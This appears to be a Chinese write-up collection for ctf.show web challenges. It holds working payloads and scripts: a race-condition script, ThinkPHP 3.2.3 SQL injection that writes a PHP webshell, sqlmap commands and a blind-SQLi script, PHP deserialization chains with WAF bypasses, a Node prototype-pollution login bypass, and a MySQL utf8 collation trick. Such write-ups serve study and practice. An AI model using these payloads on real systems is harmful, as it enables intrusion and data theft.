然后看hint.txt
引导到下一个目录
<?php
show_source(__FILE__);
$unser = $_GET['unser'];
class Unser {
public $username='Firebasky';
public $password;
function __destruct() {
if($this->username=='ctfshow'&&$this->password==(int)md5(time())){
system('cp /ctfshow* /var/www/html/flag.txt');
}
}
}
$ctf=@unserialize($unser);
system('rm -rf /var/www/html/flag.txt');
条件竞争就行
由于(int)md5(time())
,md5
后的结果又有很大可能是字母开头,导致int处理后直接为0
所以直接死payload
import threading
import requests
url = """http://50c1f72f-9558-4dde-bfa6-9cc20bb1afdd.challenge.ctf.show/ctfshowgetflaghhhh/?unser=O:5:"Unser":2:{s:8:"username";s:7:"ctfshow";s:8:"password";i:0;}"""
def POST(session):
while True:
re = session.get(url=url)
def READ(session):
while True:
re = session.get(url='http://50c1f72f-9558-4dde-bfa6-9cc20bb1afdd.challenge.ctf.show/flag.txt')
if "<!-- /install.php -->" not in re.text:
print(re.text)
with requests.session() as session:
t1 = threading.Thread(target=POST, args=(session,))
t1.daemon = True
t1.start()
READ(session)
spaceman
<?php
error_reporting(0);
highlight_file(__FILE__);
class spaceman
{
public $username;
public $password;
public function __construct($username,$password)
{
$this->username = $username;
$this->password = $password;
}
public function __wakeup()
{
if($this->password==='ctfshowvip')
{
include("flag.php");
echo $flag;
}
else
{
echo 'wrong password';
}
}
}
function filter($string){
return str_replace('ctfshowup','ctfshow',$string);
}
$str = file_get_contents("php://input");
if(preg_match('/\_|\.|\]|\[/is',$str)){
die("I am sorry but you have to leave.");
}else{
extract($_POST);
}
$ser = filter(serialize(new spaceman($user_name,$pass_word)));
$test = unserialize($ser);
?>
老点
. +[在中间或中间会被替换_
.在开头会被替换
有个比较抽象的点就是hackbar在raw模式发送POST的时候,会把最后一个参数带上\n\r
,导致长度对不上
有手就行
小程序换了
虎山行’s revenge
lastsward’s website
弱密码admin:123456
进后台
随便打个error出tp版本号3.2.3
,这个版本下有sql注入
index.php/Home/Game/gameinfo/gameId/?gameId[0]=exp&gameId[1]==1 or sleep(5)
弹了个alert,看来输入点就是这里,fuzz跑一下可用函数
直接into dumpfile
写shell
先把名字改了,然后
index.php/Home/Game/gameinfo/gameId/?gameId[0]=exp&gameId[1]==1 into dumpfile "/var/www/html/shell.php"%23
eazy-unserialize
<?php
include "mysqlDb.class.php";
class ctfshow{
public $method;
public $args;
public $cursor;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
$this->getCursor();
}
function getCursor(){
global $DEBUG;
if (!$this->cursor)
$this->cursor = MySql::getInstance();
if ($DEBUG) {
$sql = "DROP TABLE IF EXISTS USERINFO";
$this->cursor->Exec($sql);
$sql = "CREATE TABLE IF NOT EXISTS USERINFO (username VARCHAR(64),
password VARCHAR(64),role VARCHAR(256)) CHARACTER SET utf8";
$this->cursor->Exec($sql);
$sql = "INSERT INTO USERINFO VALUES ('CTFSHOW', 'CTFSHOW', 'admin'), ('HHD', 'HXD', 'user')";
$this->cursor->Exec($sql);
}
}
function login() {
list($username, $password) = func_get_args();
$sql = sprintf("SELECT * FROM USERINFO WHERE username='%s' AND password='%s'", $username, md5($password));
$obj = $this->cursor->getRow($sql);
$data = $obj['role'];
if ( $data != null ) {
define('Happy', TRUE);
$this->loadData($data);
}
else {
$this->byebye("sorry!");
}
}
function closeCursor(){
$this->cursor = MySql::destroyInstance();
}
function lookme() {
highlight_file(__FILE__);
}
function loadData($data) {
if (substr($data, 0, 2) !== 'O:') {
return unserialize($data);
}
return null;
}
function __destruct() {
$this->getCursor();
if (in_array($this->method, array("login", "lookme"))) {
@call_user_func_array(array($this, $this->method), $this->args);
}
else {
$this->byebye("fuc***** hacker ?");
}
$this->closeCursor();
}
function byebye($msg) {
$this->closeCursor();
header("Content-Type: application/json");
die( json_encode( array("msg"=> $msg) ) );
}
}
class Happy{
public $file='flag.php';
function __destruct(){
if(!empty($this->file)) {
include $this->file;
}
}
}
function ezwaf($data){
if (preg_match("/ctfshow/",$data)){
die("Hacker !!!");
}
return $data;
}
if(isset($_GET["w_a_n"])) {
@unserialize(ezwaf($_GET["w_a_n"]));
} else {
new CTFSHOW("lookme", array());
}
直接反序列化Happy类,include2shell,但是远程打不通
一步步读
迷惑行为大赏之盲注
forgot.php下有盲注,0过滤
sqlmap一把梭
sqlmap -u https://ac69efcd-48d2-4b50-b033-1e3a0b03257f.challenge.ctf.show/forgot.php --data="username=1" --dbs --hex
sqlmap -u https://ac69efcd-48d2-4b50-b033-1e3a0b03257f.challenge.ctf.show/forgot.php --data="username=1" -D "测试" -tables
sqlmap -u https://ac69efcd-48d2-4b50-b033-1e3a0b03257f.challenge.ctf.show/forgot.php --data="username=1" -D "测试" -T 15665611612 --columns
sqlmap -u https://ac69efcd-48d2-4b50-b033-1e3a0b03257f.challenge.ctf.show/forgot.php --data="username=1" -D "测试" -T 15665611612 -C "what%40you%40want" --dumps
然而sqlmap会主动使用时间盲注,太慢了
给出一个布尔盲注脚本,由于中文的缘故,换用了hex来拿名
Hex_List = ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "A", "B", "C", "D", "E", "F"]
def get_database_name():
res = ""
for i in range(1, 1000):
max = 15
min = 0
mid = (max + min) >> 1
while max > min:
payload = (
f"test' or if(substr(hex("
f"("
f"select group_concat(`what@you@want`) from `测试`.`15665611612`"
f")"
f"),{i},1) > '{Hex_List[mid]}',1,0);#")
re = requests.post(url, data={
"username": payload
})
# true
if "用户存在,但是不允许修改密码 :P" in re.text:
min = mid + 1
else:
max = mid
mid = (max + min) >> 1
res = res + Hex_List[mid]
if res.endswith("0" * 10):
break
try:
print(bytes.fromhex(res).decode(), end="->")
print(res)
except:
pass
Web逃离计划
弱密码admin:admin888
登陆,有个文件读取
有waf,可以通过伪协议读文件
read被ban了,直接写就行
?file=php://filter/convert.base64-encode/resource=index.php
本地能直接include2shell,远程被ban了
index
<?php
include "class.php";
include "ezwaf.php";
session_start();
$username = $_POST['username'];
$password = $_POST['password'];
$finish = false;
if ($username!=null&&$password!=null){
$serData = checkLogData(checkData(get(serialize(new Login($username,$password)))));
$login = unserialize($serData);
$loginStatus = $login->checkStatus();
if ($loginStatus){
$_SESSION['login'] = true;
$_COOKIE['status'] = 0;
}
$finish = true;
}
?>
waf
<?php
function get($data)
{
$data = str_replace('forfun', chr(0) . "*" . chr(0), $data);
return $data;
}
function checkData($data)
{
if (stristr($data, 'username') !== False && stristr($data, 'password') !== False) {
die("fuc**** hacker!!!\n");
} else {
return $data;
}
}
function checkLogData($data)
{
if (preg_match("/register|magic|PersonalFunction/", $data)) {
die("fuc**** hacker!!!!\n");
} else {
return $data;
}
}
class
<?php
error_reporting(0);
class Login{
protected $user_name;
protected $pass_word;
protected $admin;
public function __construct($username,$password){
$this->user_name=$username;
$this->pass_word=$password;
if ($this->user_name=='admin'&&$this->pass_word=='admin888'){
$this->admin = 1;
}else{
$this->admin = 0;
}
}
public function checkStatus(){
return $this->admin;
}
}
class register{
protected $username;
protected $password;
protected $mobile;
protected $mdPwd;
public function __construct($username,$password,$mobile){
$this->username = $username;
$this->password = $password;
$this->mobile = $mobile;
}
public function __toString(){
return $this->mdPwd->pwd;
}
}
class magic{
protected $username;
public function __get($key){
if ($this->username!=='admin'){
die("what do you do?");
}
$this->getFlag($key);
}
public function getFlag($key){
echo $key."</br>";
system("cat /flagg");
}
}
class PersonalFunction{
protected $username;
protected $password;
protected $func = array();
public function __construct($username, $password,$func = "personalData"){
$this->username = $username;
$this->password = $password;
$this->func[$func] = true;
}
public function checkFunction(array $funcBars) {
$retData = null;
$personalProperties = array_flip([
'modifyPwd', 'InvitationCode',
'modifyAvatar', 'personalData',
]);
foreach ($personalProperties as $item => $num){
foreach ($funcBars as $funcBar => $stat) {
if (stristr($stat,$item)){
$retData = true;
}
}
}
return $retData;
}
public function doFunction($function){
// TODO: 出题人提示:一个未完成的功能,不用管这个,单纯为了逻辑严密.
return true;
}
public function __destruct(){
$retData = $this->checkFunction($this->func);
$this->doFunction($retData);
}
}
看起来像是变长度反序列化,在get中把forfun
换为chr(0) . "*" . chr(0)
反序列化链如下
PersonalFunction::__destruct -> register::__toString -> magic::__get -> magic::getFlag
直接构造的如下,其中register::mdPwd
,magic::username
,PersonalFunction::func
都是protected属性
O:16:"PersonalFunction":3:{s:11:" * username";s:5:"admin";s:11:" * password";s:8:"admin888";s:7:" * func";a:1:{i:0;O:8:"register":4:{s:11:" * username";s:5:"admin";s:11:" * password";s:8:"admin888";s:9:" * mobile";s:3:"137";s:8:" * mdPwd";O:5:"magic":1:{s:11:" * username";s:5:"admin";}}}}
有三个waf需要绕过:
checkData对username/password的过滤可以用16进制
O:4:"test":2:{s:4:"%00*%00a";s:3:"abc";s:7:"%00test%00b";s:3:"def";}
可以写成
O:4:"test":2:{S:4:"\00*\00\61";s:3:"abc";s:7:"%00test%00b";s:3:"def";}
表示字符类型的s大写时,会被当成16进制解析
checkLogData则可以用大小写绕过
payload如下
O:16:"personalFunction":3:{S:11:"\00*\00\75sername";s:5:"admin";S:11:"%00*%00\70assword";s:8:"admin888";s:7:"%00*%00func";a:1:{i:0;O:8:"Register":4:{S:11:"\00*\00\75sername";s:5:"admin";S:11:"%00*%0070assword";s:8:"admin888";s:9:"%00*%00mobile";s:3:"137";s:8:"%00*%00mdPwd";O:5:"Magic":1:{S:11:"\00*\00\75sername";s:5:"admin";}}}}
要想让这段payload被成功反序列化,就要用到上面的变长度get函数
每有一个forfun,就会让整体少3个字符
修改后的payload如下
1";s:12:"%00*%00pass_word";O:16:"personalFunction":3:{S:11:"\00*\00\75sername";s:5:"admin";S:11:"%00*%00\70assword";s:8:"admin888";s:7:"%00*%00func";a:1:{i:0;O:8:"Register":4:{S:11:"\00*\00\75sername";s:5:"admin";S:11:"%00*%00\70assword";s:8:"admin888";s:9:"%00*%00mobile";s:3:"137";s:8:"%00*%00mdPwd";O:5:"Magic":1:{S:11:"\00*\00\75sername";s:5:"admin";}}}}
主要是添加了;s:12:"%00*%00pass_word";
,多添加一个1"
目的是让要被吞并的变成3的倍数,不然吞不下去
最后的exp
username=forfunforfunforfunforfunforfunforfunforfunforfunforfunforfun&password=1";s:12:"%00*%00pass_word";O:16:"personalFunction":3:{S:11:"\00*\00\75sername";s:5:"admin";S:11:"%00*%00\70assword";s:8:"admin888";s:7:"%00*%00func";a:1:{i:0;O:8:"Register":4:{S:11:"\00*\00\75sername";s:5:"admin";S:11:"%00*%00\70assword";s:8:"admin888";s:9:"%00*%00mobile";s:3:"137";s:8:"%00*%00mdPwd";O:5:"Magic":1:{S:11:"\00*\00\75sername";s:5:"admin";}}}}
未完成的项目
附件
var createError = require('http-errors');
var express = require('express');
var path = require('path');
var cookieParser = require('cookie-parser');
var logger = require('morgan');
var indexRouter = require('./routes/index'); /* 朋友我明天上班请假了,配置我已经给你搞好了,你刚学nodejs,public目录下有我给你敲的示例,你跟着敲一下,加点错误逻辑就可以上线了,别忘了删除啊 */
var app = express();
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'html');
app.use(logger('dev'));
app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(cookieParser());
app.use(express.static(path.join(__dirname, 'public')));
app.use('/', indexRouter);
//app.use('/users', usersRouter);
// catch 404 and forward to error handler
app.use(function(req, res, next) {
res.json({
"error": "404"
})
next(createError(404));
});
// error handler
module.exports = app;
index.js
var express = require('express');
var router = express.Router();
var db = require('mysql-promise')
const mysql = require( 'mysql' );
const connection = require("mysql");
class Database {
constructor( config ) {
this.connection = mysql.createConnection( config );
}
query( sql, args ) {
return new Promise( ( resolve, reject ) => {
this.connection.query( sql, args, ( err, rows ) => {
if ( err )
return reject( err );
resolve( rows );
} );
} );
}
close() {
return new Promise( ( resolve, reject ) => {
this.connection.end( err => {
if ( err )
return reject(err);
resolve();
} );
} );
}
}
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
function merge(a, b) {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
function clone(a) {
return merge({}, a);
}
router.get('/',function (req,res,next) {
console.log("index");
//res.render('index', {title: 'HTML'});
})
/* GET home page. */
router.post('/', function(req, res, next) {
var body = JSON.parse(JSON.stringify(req.body));
if (body.host != undefined) {
return res.json({
"msg":"fu** hacker!!!"
})
}
var num = 0
for(i in body){
num ++;
}
if(num!=2){
return res.json({
"msg":"fu** hacker!!!"
})
}else{
if(body.username==undefined||body.password==undefined){
return res.json({
"msg":"fu** hacker!!!"
})
}
}
var copybody = clone(body)
var host = copybody.host == undefined ? "localhost" : copybody.host
var flag = "123432432432"
var config = {
host: host,
user: 'root',
password: 'root',
database: 'users'
};
let database=new Database(config);
var user = copybody.username
var pass = copybody.password
function isInValiCode(str) {
var reg= /-| |#|[\x00-\x2f]|[\x3a-\x3f]/;
return reg.test(str);
}
if (isInValiCode(user)){
return res.json({
"msg":"no hacker!!!"
})
}
let someRows, otherRows;
database.query( 'select * from user where user= ? and passwd =?', [user,pass] )
.then( rows => {
if (1 == rows[0].Id) {
res.json({
"msg":flag
})
}
} )
.then( rows => {
otherRows = rows;
return database.close();
}, err => {
return database.close().then( () => { throw err; } )
} )
.then( () => {
res.json({
"error": "err","msg":"user or pass err"
})
})
.catch( err => {
res.json({
"error": "err","msg":"user or pass err"
})
} )
});
module.exports = router;
里边一个clone+merge
,var body = JSON.parse(JSON.stringify(req.body));
应该是要打原型链污染
远程打不通,只有本地通了,改改js
测试了一下,远程没有password或者数量不为2都可以pass到最后user or pass err
var express = require('express');
var router = express.Router();
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
function merge(a, b) {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
function clone(a) {
return merge({}, a);
}
router.post('/', function(req, res, next) {
var body = JSON.parse(JSON.stringify(req.body));
if (body.host != undefined) {
return res.json({
"msg":"fu** hacker!!!host"
})
}
var num = 0
for(i in body){
num ++;
}
if(num!=2){
return res.json({
"msg":"fu** hacker!!!num"
})
}else{
if(body.username==undefined||body.password==undefined){
return res.json({
"msg":"fu** hacker!!!username+password"
})
}
}
var copybody = clone(body)
var host = copybody.host == undefined ? "localhost" : copybody.host
var user = copybody.username
var pass = copybody.password
console.log(host,user,pass)
function isInValiCode(str) {
var reg= /-| |#|[\x00-\x2f]|[\x3a-\x3f]/;
return reg.test(str);
}
if (isInValiCode(user)){
return res.json({
"msg":"no hacker!!!"
})
}
return res.json(copybody)
});
module.exports = router;
payload
{"username": "admin","__proto__":{"password": " or 1=1;#"}}
eazy-unserialize-revenge
?w_a_n=O:5:"Happy":1:{s:4:"file";s:22:"../../../../../../flag";}
神仙姐姐
burp爆sx.php
阿拉丁
后端是node
脑残题
flag第x位?
迷
dirsearch找到/flag
路径
结合开题img,进/菜
飘啊飘
hint:有手X就行
换手机UA 301到/mb.html
直接curl发包
Ez_Mysqli
利用的mysql8以前对utf8的不恰当处理
即mysql在8以前默认utf8mb3使用的是三字节,而正确的应该是utf8mb4四字节
当入库查询的时候,可以用一些特殊的字符进行绕过,即
select * from user where id = "a" 等价于 select * from user where id = "à"
遍历整个utf表,可以发现大约1377条可进行替换
A -> AaÀÁÂÃÄÅàáâãäåĀāĂ㥹ǍǎǞǟǠǡǺǻȀȁȂȃȦȧḀḁẠạẢảẤấẦầẨẩẪẫẬậẮắẰằẲẳẴẵẶặ
B -> BbḂḃḄḅḆḇ
同时限定了strlen<11
由于这些特殊的字符在php的len为2(中文为3),所以只用替换一两个就行